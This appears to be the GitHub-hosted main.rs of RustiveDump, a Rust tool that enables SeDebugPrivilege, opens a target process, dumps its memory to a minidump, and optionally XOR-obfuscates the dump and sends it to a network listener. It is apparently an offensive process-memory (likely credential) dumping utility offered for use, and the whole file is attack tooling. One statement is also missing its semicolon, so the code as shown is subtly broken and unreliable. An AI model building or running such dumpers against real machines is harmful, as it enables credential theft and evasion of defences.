Sign in

safedv / RustiveDump Public

Notifications Fork 31 Star 239

Code Issues Pull requests Actions Projects Security Insights

RustiveDump / src / main.rs

108 lines (86 loc) · 2.82 KB

Code Blame Raw

```rust
#![no_std]
#![no_main]

extern crate alloc;
use core::ptr::null_mut;

mod common;
mod dump;
mod helper;
mod mdfile;
mod ntapi;

#[cfg(feature = "remote")]
mod remote;

use helper::{
    get_process_handle, handle_output_file, initialize_privileges, perform_memory_dump,
    retrieve_modules,
};
use mdfile::generate_memory_dump_file;
use ntapi::{allocator::NtVirtualAlloc, def::OSVersionInfo, utils::rtl_get_version};

#[cfg(feature = "verbose")]
use libc_print::libc_println;

#[cfg(feature = "xor")]
```

```rust
use crate::common::xor::xor_bytes;

#[global_allocator]
static GLOBAL: NtVirtualAlloc = NtVirtualAlloc;

#[no_mangle]
pub extern "C" fn _start() {
    #[cfg(not(feature = "remote"))]
    let output_file_name = "rustive.dmp";

    #[cfg(feature = "remote")]
    let listener_addr = "localhost";
    #[cfg(feature = "remote")]
    let listener_port = 1717;

    #[cfg(feature = "xor")]
    let xor_key: u8 = 0x17;

    // Enable SeDebugPrivilege.
    if initialize_privileges() != 0 {
        return;
    }

    // Retrieves the handle to the target process.
    let process_handle = get_process_handle();
    if process_handle == null_mut() {
        debug_println!("[-] Failed to retrieve process handle. Exiting!");
        return;
    }
    debug_println!("[+] Process handle: {:?}", process_handle);

    // Retrieve the list of loaded modules in the target process.
    let mut module_info_list = retrieve_modules(process_handle);
    if module_info_list.is_empty() {
        debug_println!("[-] No modules found. Exiting!");
        return;
    }

    // Dumps the memory regions of the target process.
    let (memory64list, memory_regions) = perform_memory_dump(process_handle, &mut module_info_list)

    // Retrieve OS version information.
    let mut version_info = OSVersionInfo::new();
    let status = unsafe { rtl_get_version(&mut version_info) };
    if status != 0 {
        debug_println!(
            "[-] Failed to retrieve OS Version from PEB. NTSTATUS: 0x{:X}",
            status
        );
    }

    // Generate the memory dump file.
    let dump_file_bytes =
        generate_memory_dump_file(version_info, module_info_list, memory64list, memory_regions);
    if dump_file_bytes.is_empty() {
        debug_println!("[-] Failed to create memory dump");
        return;
    }

    // Prepare the memory dump file.
    #[cfg(feature = "xor")]
    let file_bytes_to_use = xor_bytes(dump_file_bytes.clone(), xor_key);

    #[cfg(not(feature = "xor"))]
    let file_bytes_to_use = dump_file_bytes.clone();

    // Handle the output.
    #[cfg(feature = "remote")]
    handle_output_file(file_bytes_to_use, listener_addr, listener_port);

    #[cfg(not(feature = "remote"))]
    handle_output_file(file_bytes_to_use, output_file_name);
}

#[cfg(not(test))]
use core::panic::PanicInfo;

#[cfg(not(test))]
#[panic_handler]
fn panic(_info: &PanicInfo) -> ! {
    loop {}
}
```